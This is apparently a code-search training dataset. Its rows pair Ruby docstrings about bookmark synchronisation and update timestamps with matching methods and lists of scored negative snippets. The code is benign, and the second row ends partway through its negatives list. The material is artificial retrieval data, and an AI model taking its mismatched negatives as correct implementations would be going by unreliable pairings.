query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
Yield each bookmark to the block that requires synchronization. The :since option may be specified to indicate the time of the most recently updated bookmark. Only bookmarks whose time is more recent than the time specified are yielded. | def synchronize(options={})
if since = options[:since]
since.utc
return false unless updated_since?(since)
else
since = Time.at(0)
since.utc
end
open.elements.each('posts/post') do |el|
attributes = el.attributes
time = Time.iso8601(attributes['time'])
next if time <= since
yield :href => attributes['href'],
:hash => attributes['hash'],
:description => attributes['description'],
:extended => attributes['extended'],
:time => time,
:shared => (attributes['shared'] != 'no'),
:tags => attributes['tag'].split(' ')
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bookmark_query(q,&blk)\n response = query(q)\n bookmark = response[\"bookmark\"]\n docs = response[\"docs\"]\n\n until !docs || docs.empty?\n yield docs\n q[\"bookmark\"] = bookmark\n response = query(q)\n bookmark = response[\"bookmark\"]\n docs = response[\"docs\"]\n end\n\n docs\n end",
"def index\n bookmarks_loader(Time.now, current_user.id) \n bookmark = @bookmarks.first\n if bookmark\n session[:first_link_time] = bookmark.updated_at \n end \n bookmark = @bookmarks.last\n if bookmark\n session[:last_link_time] = bookmark.updated_at\n end \n end",
"def listsinceblock(hash)\n @api.request 'listsinceblock', hash\n end",
"def timeline\n\t\t\t\tbookmarks_loader(Time.now, doorkeeper_token.resource_owner_id) \n\t\t\t\tbookmarks_formatter\t\t\t\t\n\t\t\tend",
"def bookmarkaby ( options = {}, &block )\n bb = BookmarkBuilder.new( self, options )\n yield bb\n concat_with_or_without_binding( bb.to_html, block.binding ) if bb.bookmarks?\n end",
"def lock_changes\n begin\n @lock_count += 1\n yield\n ensure\n @lock_count -= 1\n end\n end",
"def block(from_id, to_id, scope = Amico.default_scope_key)\n return if from_id == to_id\n\n Amico.redis.multi do\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.following_key}:#{scope}:#{from_id}\", to_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.following_key}:#{scope}:#{to_id}\", from_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.followers_key}:#{scope}:#{to_id}\", from_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.followers_key}:#{scope}:#{from_id}\", to_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.reciprocated_key}:#{scope}:#{from_id}\", to_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.reciprocated_key}:#{scope}:#{to_id}\", from_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.pending_key}:#{scope}:#{from_id}\", to_id)\n Amico.redis.zrem(\"#{Amico.namespace}:#{Amico.pending_with_key}:#{scope}:#{to_id}\", from_id)\n Amico.redis.zadd(\"#{Amico.namespace}:#{Amico.blocked_key}:#{scope}:#{from_id}\", Time.now.to_i, to_id)\n Amico.redis.zadd(\"#{Amico.namespace}:#{Amico.blocked_by_key}:#{scope}:#{to_id}\", Time.now.to_i, from_id)\n end\n end",
"def loadmore\n bookmarks_loader(session[:last_link_time], current_user.id)\n bookmark = @bookmarks.last\n if bookmark\n session[:last_link_time] = bookmark.updated_at \n end \n end",
"def each(&block)\n @lock.synchronize do\n @links.each(&block)\n end\n end",
"def bookmarks(user)\n user = Access::Validate.user(user, false)\n Bookmark\n .where('(bookmarks.creator_id = ? OR bookmarks.updater_id = ?)', user.id, user.id)\n .order('bookmarks.updated_at DESC')\n end",
"def watch\n loop { (yield @journal.current_entry while @journal.move_next) if @journal.wait(100_000) }\n end",
"def delete_unmarked_entries(&block)\n deleted_ids = []\n # First remove the entry from the hash table.\n @entries_by_id.delete_if do |id, e|\n if e[MARKED] == 0\n yield(id) if block_given?\n deleted_ids << id\n true\n else\n false\n end\n end\n # Then delete the entry itself.\n @entries.delete_if { |e| e[MARKED] == 0 }\n write_index\n\n deleted_ids\n end",
"def each(uri = nil, &block) # :yield: cookie\n # if uri\n # ...\n # else\n # synchronize {\n # ...\n # }\n # end\n # self\n end",
"def each(&block)\n max_id = nil\n\n 100.times do\n tweets = tweets_before(max_id)\n break if tweets.empty?\n\n tweets.each(&block) if block_given?\n\n max_id = tweets.map { |tweet| tweet['id'] }.min - 1 # Don't fetch the same tweet again\n end\n end",
"def lock_for_update(name=nil)\n if locked_for_update?(name)\n logger.debug { \"we are locked for update, yield to the block\" }\n yield\n else\n zk_with_lock(:mode => :exclusive, :name => name) { yield }\n end\n end",
"def bookmark_time\n @ole.BookmarkTime\n end",
"def block_and_forth_forever(&block)\nend",
"def block_and_forth_forever(&block)\nend",
"def block_and_forth_forever(&block)\nend",
"def each(&_block)\n iterator = BlockIterator.new(self)\n\n until iterator.current_hash == Block::GENESIS_PREV_HASH\n block = iterator.next\n yield(block)\n end\n end",
"def bookmarks\n\t\toptions = { list: true }\n\t\tresponse = self.server.run_with_json_template( :bookmarks, **options )\n\t\treturn response.map {|bk| Hglib::Repo::Bookmark.new(self, **bk) }\n\tend",
"def loadmore\n\t\t\t\ttime = Time.at(params[:time].to_i).to_datetime\n\t\t\t\tbookmarks_loader(time, doorkeeper_token.resource_owner_id) \n\t\t\t\tbookmarks_formatter\n\t\t\tend",
"def bookmark_by(u)\r\n Bookmark.bookmark_by(u, self)\r\n end",
"def synchronize # :yields:\n lock\n yield\n ensure\n unlock\n end",
"def render_bookmarks(bookmarks, title, feed_uri, user, except=[])\n # Figure out a current value for the Last-Modified header.\n if bookmarks.empty?\n last_modified = nil\n else\n # Last-Modified is the most recent timestamp in the bookmark list.\n most_recent_bookmark = bookmarks.max do |b1,b2|\n b1.timestamp <=> b2.timestamp\n end\n last_modified = most_recent_bookmark.timestamp\n end\n \n # If the bookmark list has been modified since it was last requested...\n render_not_modified_or(last_modified) do\n respond_to do |format|\n # If the client requested XML, serialize the ActiveRecord\n # objects to XML. Include references to the tags in the\n # serialization.\n format.xml { render :xml => \n bookmarks.to_xml(:except => except + [:id, :user_id],\n :include => [:tags]) }\n # If the client requested Atom, turn the ActiveRecord objects\n # into an Atom feed.\n format.atom { render :xml => atom_feed_for(bookmarks, title, \n feed_uri, user) }\n end\n end\n end",
"def in_lock consistency_spec\n locker = Locker.new Snapscatter.parse_spec(consistency_spec)\n locker.lock\n begin\n yield\n ensure\n locker.unlock\n end\n end",
"def blocks(limit: 1000, sort: :asc)\n history(limit: limit, sort: sort).map { |i| i[:block] }\n end",
"def each # :nodoc:\n begin\n time, all = @rdmon.wait_snapshot\n stats = all[@addr] or next\n stats.queued >= @queued_min or next\n stats.active >= @active_min or next\n body = sprintf(@fmt, time.iso8601, @addr, stats.active, stats.queued)\n body = \"#{body.size.to_s(16)}\\r\\n#{body}\\r\\n\" if @chunk\n yield body\n end while true\n yield \"0\\r\\n\\r\\n\" if @chunk\n end",
"def sync(&block)\n # Lock usage:\n # 1. @stop.mutex->@is_synching.mutex\n # 2. insert_to_backlog()\n # 3. stop_synching?()\n\n @stop.use do |stop, stop_mutex|\n @is_synching.use do |is_synching, is_synching_mutex|\n if is_synching then\n return\n else\n @stop.set_wo_lock(false)\n @is_synching.set_wo_lock(true)\n end\n end\n end\n\n last_timestamp = (@checkpoint.nil? ? nil : @checkpoint.commit_ts)\n cursor = init_sync(@checkpoint)\n\n yield :finished_dumping, 0 if block_given?\n\n loop do\n return if stop_synching?\n doc_batch = []\n ns_set_snapshot = get_ns_set_snapshot\n doc_count = 0 # count for the current batch\n cursor_exception_occured = false\n\n loop do\n begin\n doc = cursor.next_document\n rescue => e\n @logger.error \"#{@name}: #{get_full_exception_msg(e)}\"\n cursor_exception_occured = true\n yield :excep, doc_count if block_given?\n break\n end\n\n if doc.nil? then\n break\n else\n if insert_to_backlog(doc) then\n # Do nothing\n elsif filter_entry?(ns_set_snapshot, doc[\"ns\"]) then\n @logger.debug \"#{@name}: skipped oplog: #{doc}\"\n else\n doc_batch << doc\n doc_count += 1\n end\n\n last_timestamp = doc[\"ts\"]\n end\n\n return if stop_synching?\n break if doc_count > OPLOG_BATCH_SIZE\n end\n\n update_solr(doc_batch, true) unless doc_batch.empty?\n\n yield :sync, doc_count if block_given?\n\n sleep @update_interval unless @update_interval.zero?\n\n # Setting of cursor was deferred until here to do work with Solr while\n # waiting for connection to Mongo to recover.\n if cursor_exception_occured then\n if last_timestamp.nil? then\n cursor = retry_until_ok do\n timestamp = get_last_oplog_timestamp\n get_oplog_cursor(timestamp)\n end\n else\n cursor = retry_until_ok { get_oplog_cursor_w_check(last_timestamp) }\n end\n\n if cursor.nil? then\n if @auto_dump then\n cursor = perform_full_dump\n else\n raise StaleCursorException, STALE_CURSOR_MSG\n end\n end\n\n yield :cursor_reset, doc_count if block_given?\n end\n end\n end",
"def index\n @bookmarks = Bookmark.where(owner: current_user)\n end",
"def yield_shares(purpose: nil, compatible: [], block_share: false)\n loose_shares = previous_wait = nil\n synchronize do\n if loose_shares = @sharing.delete(Thread.current)\n if previous_wait = @waiting[Thread.current]\n purpose = nil unless purpose == previous_wait[0]\n compatible &= previous_wait[1]\n end\n compatible |= [false] unless block_share\n @waiting[Thread.current] = [purpose, compatible]\n end\n\n @cv.broadcast\n end\n\n begin\n yield\n ensure\n synchronize do\n wait_for(:yield_shares) { @exclusive_thread && @exclusive_thread != Thread.current }\n\n if previous_wait\n @waiting[Thread.current] = previous_wait\n else\n @waiting.delete Thread.current\n end\n @sharing[Thread.current] = loose_shares if loose_shares\n end\n end\n end",
"def bookmarks\n @user = User.find(params[:id])\n\n render :status => 404 and return if @user.nil?\n\n # Grab Bookmarks and Render Them Out\n @bookmarks = @user.current_bookmarks\n render_collection_json Serialize::BookmarksSerializer.as_json_with_current_entries(@bookmarks, @user)\n end",
"def synchronize\n\t\t\tlock\n\t\t\tbegin\n\t\t\t\tyield\n\t\t\tensure\n\t\t\t\tunlock\n\t\t\tend\n \t\tend",
"def watch(*args, &block)\n yield\n end",
"def each(&block)\n if block.nil?\n stale_workers.to_enum\n else\n stale_workers.each(&block)\n end\n end",
"def synchronize\n lock\n yield\n ensure\n unlock\n end",
"def tsync\n @tmutex.synchronize do\n yield\n end\n end",
"def index\n @bookmarks = Bookmark.user_bookmarks(current_user)\n end",
"def smart_bfs(len, to_get_users = [], to_get_neighbors = [], visited = Set.new)\n sample = []\n i = 0\n while i < len do\n while i < len do\n if to_get_users.empty? then\n break\n end\n # ask Twitter for a chunk of user objects from ids list\n uids = to_get_users.slice!(0..$max_users-1)\n users = get_users(uids)\n p \"got #{users.length} users\"\n sample.concat(users)\n\n # add ids to neighbors todo\n to_get_neighbors.concat( users.map { |u| u.attrs[:id] } )\n i+=users.length\n end\n\n while to_get_users.empty? do\n if to_get_neighbors.empty? then \n return sample\n end\n uid = to_get_neighbors.slice!(0)\n\n next_cursor = -1\n last_index = 0\n next_user_id = 0\n while next_cursor != 0 do\n # get the next page of follower ids\n cur = get_followers_cursor(uid, next_cursor)\n\n # add never-before-seen users to worklist\n newusers = cur[:ids].sselect { |fid| not visited.member?(fid) }\n newusers.each { |u| visited.add(u) }\n to_get_users.concat( newusers ) \n\n # next page index \n next_cursor = cur[:next_cursor]\n end\n end\n end\n \n return sample\nend",
"def with_lock\n lock\n begin\n yield if block_given?\n ensure\n unlock\n end\n end",
"def mutex(id, &block)\n is_expired = lambda do |locked_at|\n locked_at.to_f < Time.now.to_f\n end\n bid = batch(id)\n _key_ = \"#{bid}:lock\"\n\n until redis.setnx(_key_, Time.now.to_f + 0.5)\n next unless timestamp = redis.get(_key_)\n\n unless is_expired.call(timestamp)\n sleep(0.1)\n next\n end\n\n break unless timestamp = redis.getset(_key_, Time.now.to_f + 0.5)\n break if is_expired.call(timestamp)\n end\n yield(bid)\n ensure\n redis.del(_key_)\n end",
"def bookmarks\n xpath './bookmark'\n end",
"def synchronize\n lock\n begin\n yield\n ensure\n unlock\n end\n end",
"def list_bookmarks(user_id)\n url = \"#{@@request_url}/User.listBookmarks?appid=#{@@appid}&ID=#{user_id}\"\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def with_lock\n lock!(true)\n yield\n ensure\n unlock!\n end",
"def when_checkpoint_is_ready(&block)\n ready_blocks << block\n end",
"def with_collection_lock\n @lock.synchronize do\n return yield\n end\n end",
"def sharing\n start_sharing\n begin\n yield\n ensure\n stop_sharing\n end\n end",
"def sharing\n start_sharing\n begin\n yield\n ensure\n stop_sharing\n end\n end",
"def atom_feed_for(bookmarks, title, feed_uri, user=nil)\n feed = Atom::Feed.new\n feed.title = title\n most_recent_bookmark = bookmarks.max do |b1,b2|\n b1.timestamp <=> b2.timestamp\n end\n feed.updated = most_recent_bookmark.timestamp\n\n # Link this feed to itself\n self_link = feed.links.new\n self_link['rel'] = 'self'\n self_link['href'] = feed_uri + \".atom\"\n\n # If this list is a list of bookmarks from a single user, that user is\n # the author of the feed.\n if user\n user_to_atom_author(user, feed)\n end\n\n # Turn each bookmark in the list into an entry in the feed.\n bookmarks.each do |bookmark|\n entry = feed.entries.new\n entry.title = bookmark.short_description\n entry.content = bookmark.long_description\n\n # In a real application, a bookmark would have a separate\n # \"modification date\" field which was not under the control of\n # the user. This would also make the Last-Modified calculations\n # more accurate.\n entry.updated = bookmark.timestamp \n\n # First, link this Atom entry to the external URI that the\n # bookmark tracks.\n external_uri = entry.links.new\n external_uri['href'] = bookmark.uri\n\n # Now we give some connectedness to this service. Link this Atom\n # entry to this service's resource for this bookmark.\n bookmark_resource = entry.links.new\n bookmark_resource['rel'] = \"self\"\n bookmark_resource['href'] = bookmark_url(bookmark.user.name, \n bookmark.uri_hash) + \".atom\"\n bookmark_resource['type'] = \"application/xml+atom\"\n\n # Then link this entry to the list of users who've bookmarked\n # this URI.\n other_users = entry.links.new\n other_users['rel'] = \"related\"\n other_users['href'] = uri_url(bookmark.uri_hash) + \".atom\"\n other_users['type'] = \"application/xml+atom\"\n\n # Turn this entry's user into the \"author\" of this entry, unless\n # we already specified a user as the \"author\" of the entire\n # feed.\n unless user\n user_to_atom_author(bookmark.user, entry) \n end\n\n # For each of this bookmark's tags...\n bookmark.tags.each do |tag|\n # ...represent the tag as an Atom category.\n category = entry.categories.new\n category['term'] = tag\n category['scheme'] = user_url(bookmark.user.name) + \"/tags\"\n\n # Link to this user's other bookmarks tagged using this tag.\n tag_uri = entry.links.new\n tag_uri['href'] = tag_url(bookmark.user.name, tag.name) + \".atom\"\n tag_uri['rel'] = 'related'\n tag_uri['type'] = \"application/xml+atom\"\n\n # Also link to all bookmarks tagged with this tag.\n recent_tag_uri = entry.links.new\n recent_tag_uri['href'] = recent_url(tag.name) + \".atom\"\n recent_tag_uri['rel'] = 'related'\n recent_tag_uri['type'] = \"application/xml+atom\"\n end\n end \n return feed.to_xml\n end",
"def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end",
"def collect_sitemaps( &block )\n local_sitemap = sitemap\n\n if !master?\n block.call( local_sitemap )\n return\n end\n\n foreach = proc { |peer, iter| peer.spider.sitemap { |s| iter.return( s ) } }\n after = proc do |sitemap|\n block.call( (sitemap | local_sitemap).flatten.uniq.sort )\n end\n\n map_peers( foreach, after )\n end",
"def each(opts = {})\n current_start = opts[:start] || ''\n finish = opts[:finish] || ''\n batch_size = opts[:batch_size] || 100\n \n while list = slice(:start => current_start, :finish => finish, :count => batch_size)\n list.each do |it|\n yield(it)\n end\n \n # batch wasnt full, so we are done\n break if list.length < batch_size\n \n current_start = @config.compare_with.incr(list.last.name)\n end\n end",
"def lock_working_and_store(wait=true)\n lock_store(wait) do\n lock_working(wait) do\n yield\n end\n end\n end",
"def bookmarks(bookmarks)\n bookmarks.each_with_object({}) do |b, bs|\n first_image = b.entry.entry_images.min_by(&:pocket_image_id)\n bs[b.id] = {\n id: b.id.to_s,\n title: b.entry.resolved_title,\n url: b.entry.url,\n status: b.status,\n addedAt: b.added_to_pocket_at.to_i,\n archivedAt: b.archived_at&.to_i,\n favorite: b.favorite,\n thumbnailUrl: determine_image_url(first_image),\n }\n end\n end",
"def synchronize\n @mutex.synchronize do\n yield\n end\n end",
"def create_bookmarks(results, opts = {})\n created = 0\n skipped = 0\n total = opts[:total] || results.count\n\n user = User.new\n post = Post.new\n\n results.each do |result|\n params = yield(result)\n\n # only the IDs are needed, so this should be enough\n if params.nil?\n skipped += 1\n else\n user.id = user_id_from_imported_user_id(params[:user_id])\n post.id = post_id_from_imported_post_id(params[:post_id])\n\n if user.id.nil? || post.id.nil?\n skipped += 1\n puts \"Skipping bookmark for user id #{params[:user_id]} and post id #{params[:post_id]}\"\n else\n result = PostActionCreator.create(user, post, :bookmark)\n created += 1 if result.success?\n skipped += 1 if result.failed?\n end\n end\n\n print_status(created + skipped + (opts[:offset] || 0), total, get_start_time(\"bookmarks\"))\n end\n\n [created, skipped]\n end",
"def each(&block)\n @monitor.synchronize do\n expire!\n @stash.map { |key, entry| [key, entry.value] }.each(&block)\n end\n end",
"def each(&block)\n node = top\n\n while node\n if block\n block.yield(node)\n end\n\n if node.previous\n node = node.previous\n else\n break\n end\n end\n\n return node\n end",
"def select_and_lock(relation, limit:)\n relation = upcoming(relation)\n\n # FOR UPDATE SKIP LOCKED selects and locks entries, but skips those that\n # are already locked - preventing this transaction from being locked.\n sql = relation.to_sql + \" FOR UPDATE SKIP LOCKED\"\n sql += \" LIMIT #{limit}\" if limit\n\n item_class.find_by_sql(sql)\n end",
"def load_bookmarks\n $bookmarks = {}\n $bookcodes = []\n\n # check if bookmark file exists\n if FileTest.file?( $SETTINGS[:BOOKMARKS_FILE] )\n fp = File.new( $SETTINGS[:BOOKMARKS_FILE], 'rb' )\n str = fp.read(2**26)\n fp.close\n $bookmarks = JSON.parse( str )\n end\n\n for bcbz, dat in $bookmarks\n $bookcodes << dat[2]\n end\nend",
"def monitor(seen, max: 1)\n raise \"Wrong BTC address '#{seen}'\" unless seen.length == 64\n nxt = @sibit.next_of(seen)\n return seen if nxt.nil?\n return seen unless nxt.start_with?('00000000')\n ours = Set.new(@pgsql.exec('SELECT address FROM asset').map { |r| r['address'] })\n @sibit.scan(nxt, max: max) do |receiver, hash, satoshi|\n next unless ours.include?(receiver)\n if seen?(hash)\n @log.info(\"Hash #{hash} has already been seen, ignoring now...\")\n next\n end\n set(receiver, @sibit.balance(receiver))\n yield(receiver, hash, satoshi)\n true\n end\n end",
"def show_bookmarks(conditions, title, feed_uri, user=nil, tag=nil)\n errors = []\n\n # Make sure the specified limit is valid. If no limit is specified,\n # use the default.\n if params[:limit] && params[:limit].to_i < 0\n errors << \"limit must be >=0\"\n end\n params[:limit] ||= @@default_limit\n params.delete(:limit) if params[:limit] == 0 # 0 means \"no limit\"\n\n # If a date filter was specified, make sure it's a valid date.\n if params[:date]\n begin \n params[:date] = Date.parse(params[:date])\n rescue ArgumentError\n errors << \"incorrect date format\"\n end\n end\n\n if errors.empty?\n conditions ||= [\"\"]\n \n # Add a restriction by date if neccessary.\n if params[:date]\n conditions[0] << \" AND \" unless conditions[0].empty?\n conditions[0] << \"timestamp >= ? AND timestamp < ?\"\n conditions << params[:date]\n conditions << params[:date] + 1\n end\n\n # Restrict the list to bookmarks visible to the authenticated user.\n Bookmark.only_visible_to!(conditions, @authenticated_user)\n\n # Find a set of bookmarks that matches the given conditions.\n bookmarks = Bookmark.custom_find(conditions, tag, params[:limit])\n \n # Render the bookmarks however the client requested.\n render_bookmarks(bookmarks, title, feed_uri, user)\n else\n render :text => errors.join(\"\\n\"), :status => \"400 Bad Request\"\n end\n end",
"def lock(*args, &block)\n args = web_dav_args args\n map_method :lock, args, &block\n end",
"def each_entry\n block_given? ? @commits.each { |c| yield c } : @commits\n end",
"def sync\n @synclist = Hashtag.where(:archive => true)\n secondaries = Array.new\n @synclist.each do |tag|\n secondaries << tag.get_related_hashtags.first(100).map{|h| h[3]}\n end\n @synclist << secondaries\n @synclist.flatten.uniq.each do |tag|\n tag.delay.get_tweets\n end\n delay.update_all_numtweets\n (@synclist.flatten.uniq.count + 1).to_s + \" jobs queued, taking approx \" + (@synclist.flatten.uniq.count * 5/60).to_s + \" minutes.\"\n end",
"def within_limit\n raise ArgumentError, \"requires a block\" unless block_given?\n\n Rollie.redis do |conn|\n status = inc(conn)\n unless status.exceeded?\n yield\n end\n status\n end\n end",
"def each\n sorted_transactions.each do |t|\n yield t if block_given?\n end\n end",
"def each(&block)\n pages.each { |page| page.favs.each(&block) }\n end",
"def each(&block)\n sorted_events.each do |event|\n yield event\n end\n end",
"def in_span(name, attributes: nil, links: nil, start_timestamp: nil, kind: nil, sampling_hint: nil, with_parent: nil, with_parent_context: nil)\n span = start_span(name, attributes: attributes, links: links, start_timestamp: start_timestamp, kind: kind, sampling_hint: sampling_hint, with_parent: with_parent, with_parent_context: with_parent_context)\n with_span(span) { |s| yield s }\n ensure\n span.finish\n end",
"def index\n @solicitation_bookmarks = SolicitationBookmark.all\n end",
"def synchronize\n mutex.synchronize do\n yield\n end\n end",
"def index\n\t\trespond_with current_user.bookmarks\n\tend",
"def index\n @bookmarks = BookmarkLister.new(@tag || current_user)\n .(query: params[:q], by: params[:by])\n .to_a\n end",
"def run!\n cnt = addresses.size\n\n addresses.each_slice(1) do |addies|\n before = nil\n get_txrefs_batched(addies).each do |tr|\n addy = tr['address']\n txrefs = [tr['txrefs']]\n\n # Insert global address meta-data\n db.query(get_address_query(tr))\n\n while tr['hasMore']\n puts \"Address #{addy} has more transactions, fetching moar before block #{txrefs.last.last['block_height']}\"\n sleep(19)\n tr = get_txrefs(addy, txrefs.last.last['block_height'])\n txrefs << tr['txrefs']\n end\n\n txs = Hash.new { 0 }\n blocks = {}\n\n txrefs.flatten.each do |t|\n m = t['spent'] ? -1 : 1\n txs[t['tx_hash']] += m * BigDecimal(t['value']) / (10 ** 8)\n blocks[t['tx_hash']] ||= t['block_height']\n end\n\n txs.each do |txid, amt|\n db.query(insert_tx(addy, amt, txid, blocks[txid], nil))\n end\n\n sleep(19)\n end\n end\n end",
"def synchronize\n lock(&block)\n end",
"def bookmarked_by_ids\n Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.bookmarked_by_set_for(self.class, id))\n end",
"def index\n search = Bookmark.search(:include => [:manifestation])\n query = params[:query].to_s.strip\n unless query.blank?\n @query = query.dup\n end\n user = @user\n unless current_user.has_role?('Librarian')\n if user and user != current_user and !user.try(:share_bookmarks)\n access_denied; return\n end\n if current_user == @user\n redirect_to bookmarks_url\n return\n end\n end\n\n search.build do\n fulltext query\n order_by(:created_at, :desc)\n if user\n with(:user_id).equal_to user.id\n else\n with(:user_id).equal_to current_user.id\n end\n end\n page = params[:page] || \"1\"\n flash[:page] = page if page.to_i >= 1\n search.query.paginate(page.to_i, Bookmark.default_per_page)\n @bookmarks = search.execute!.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bookmarks }\n end\n end",
"def cookbook_sync_start(cookbook_count)\n puts 'synchronizing cookbooks'\n end",
"def crawl(&blk)\r\n while crawlNext(&blk)\r\n end\r\n end",
"def visit_Arel_Nodes_Lock(o, collector)\n collector\n end",
"def each(&block)\n Fetcher.new(self).each(&block)\n end",
"def scan_changed(&block) # :yields: file\n known_files.each do |known_file|\n new_mtime = mtime_for(known_file)\n if new_mtime != last_mtime[known_file]\n block.call(known_file)\n last_mtime[known_file]= new_mtime\n end\n end\n end",
"def each(&block) \n reset\n \n while transaction = next_transaction\n yield transaction\n end\n end",
"def watch( *glob )\n yield unless block_given?\n files = []\n loop do\n new_files = Dir[*glob].map {|file| File.mtime(file) }\n yield if new_files != files\n files = new_files\n sleep 0.5\n end\nend",
"def each(&block)\n @current_page += 1\n fetch_current_page if !@fetched_current_page\n @items.each { |i| block.call i } \n @fetched_current_page = false\n end",
"def block!\n self.blocked = Time.now\n self.save\n Token.block_access!(client_uri, resource_owner_uri)\n Authorization.block_access!(client_uri, resource_owner_uri)\n end",
"def each_mid(&block)\n \n end",
"def bookmark_params\n\t\tparams[:bookmarks]\n\tend",
"def update_blocked\n unblocked = @blocked.find_all {|worker| worker.check_block; !worker.blocked?}\n @blocked -= unblocked\n @running += unblocked\n end",
"def each &block\n response = client.list_buckets\n response.buckets.each do |b|\n yield(bucket_named(b.name, response.owner))\n end\n nil\n end",
"def synchronize_update\n self.stream_lock.lock_write unless self.stream_lock.nil?\n begin\n yield\n ensure\n self.stream_lock.unlock_write unless self.stream_lock.nil?\n end\n end",
"def each_client(&block)\n clients.each do |client|\n time_sheet = for_client(client)\n yield(client, time_sheet)\n end\n end",
"def delete_unmarked_objects(&block)\n deleted_ids = []\n each_blob { |blob| deleted_ids += blob.delete_unmarked_entries(&block) }\n deleted_ids\n end",
"def show\n set_group\n\n # For groups timeline\n @bookmark_plugins = PLUGIN_CONFIG['bookmark'] \n @bookmarks = Bookmark.eager_load(:tags, :user, :url)\n .eager_load(group: :memberships)\n .where(\"bookmarks.group_id IS NOT NULL\")\n .where(\"bookmarks.group_id = ?\", params[:id])\n .order('bookmarks.updated_at DESC')\n end"
] | [
"0.5677542",
"0.5362584",
"0.5287357",
"0.5209643",
"0.5123315",
"0.50758433",
"0.49724126",
"0.49338025",
"0.49207413",
"0.48885435",
"0.4852993",
"0.47811237",
"0.47484133",
"0.4718143",
"0.4698666",
"0.46631137",
"0.46602684",
"0.46602684",
"0.46602684",
"0.46580476",
"0.4653106",
"0.46193504",
"0.46134466",
"0.46089986",
"0.46025783",
"0.45895875",
"0.45572627",
"0.45488644",
"0.4539659",
"0.45351037",
"0.4524286",
"0.4522707",
"0.45138124",
"0.4506645",
"0.4495321",
"0.44929895",
"0.44916496",
"0.4482944",
"0.44794244",
"0.44792557",
"0.44720295",
"0.44669834",
"0.4446101",
"0.4443082",
"0.44268247",
"0.44268247",
"0.44268247",
"0.44268247",
"0.4424637",
"0.4398936",
"0.43847013",
"0.4384202",
"0.4384202",
"0.43744367",
"0.43640167",
"0.43577144",
"0.4357521",
"0.4344001",
"0.4334004",
"0.43325746",
"0.43241885",
"0.4321502",
"0.42980435",
"0.42971617",
"0.42970297",
"0.42925292",
"0.42808706",
"0.42646843",
"0.42645225",
"0.4258101",
"0.42554194",
"0.4255358",
"0.42548048",
"0.42491177",
"0.42464355",
"0.42457342",
"0.42428905",
"0.4235711",
"0.4233514",
"0.4220915",
"0.4220806",
"0.42155993",
"0.42134488",
"0.42043304",
"0.4202198",
"0.41960257",
"0.4193022",
"0.41884106",
"0.41880965",
"0.41866747",
"0.41799098",
"0.41775212",
"0.41768318",
"0.4174798",
"0.4172183",
"0.41703558",
"0.4168097",
"0.4166691",
"0.41638643",
"0.4163699"
] | 0.5633354 | 1 |
A Time object representing when the most recent bookmark was created or updated. | def remote_last_updated_at
require 'rexml/document'
doc = REXML::Document.new(request('update'))
Time.iso8601(doc.root.attributes['time'])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bookmark_time\n @ole.BookmarkTime\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def last_edited_time\n begin\n $redis.hget 'last_edit:instrument', self.id\n rescue\n nil\n end\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_edited\n\t\tself.latest_update.to_date\n\tend",
"def last_time\n @last_time\n end",
"def last_updated_time\n data[:last_updated_time]\n end",
"def last_seen_at() ; info_time(:last_seen) ; end",
"def last_edited\n self.latest_update.to_date\n end",
"def last_update\n Time._load(index_time_dbm_file['last']) rescue \"none\"\n end",
"def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update\n Time.parse(@record.SystemModstamp)\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_entry_time\n last_entry = db.last_entry_temp.flatten.first\n last_entry ? Time.at(last_entry) : nil\n end",
"def history_end_dt\n @parent.last_updated_dt\n end",
"def last_modified_at(page)\n Gtn::ModificationTimes.obtain_time(page['path'])\n end",
"def most_recent_time_stamp\n current_snapshot_person_tweets.maximum(:created_at)\n end",
"def last_time\n last = entries.order(Sequel.desc(:time)).first\n if last.nil?\n last_checked\n else\n last.time\n end\n end",
"def rev\n updated_at\n end",
"def last_modified\n @metadata[:last_modified] || Time.now.utc\n end",
"def bookmark_time(value)\n @ole.BookmarkTime = value\n nil\n end",
"def last_seen_at\n @data[:last_seen_at]\n end",
"def last_updated\n\t\tupdated_at\n\tend",
"def last_refresh_time\n return @last_refresh_time\n end",
"def last_updated_at\n [ self.calendar_items.accessible.maximum('nodes.created_at'), self.updated_at ].compact.max\n end",
"def last_updated_at\n @last_updated_at\n end",
"def last_written_at\n entry = read(1).first\n entry.time if entry\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
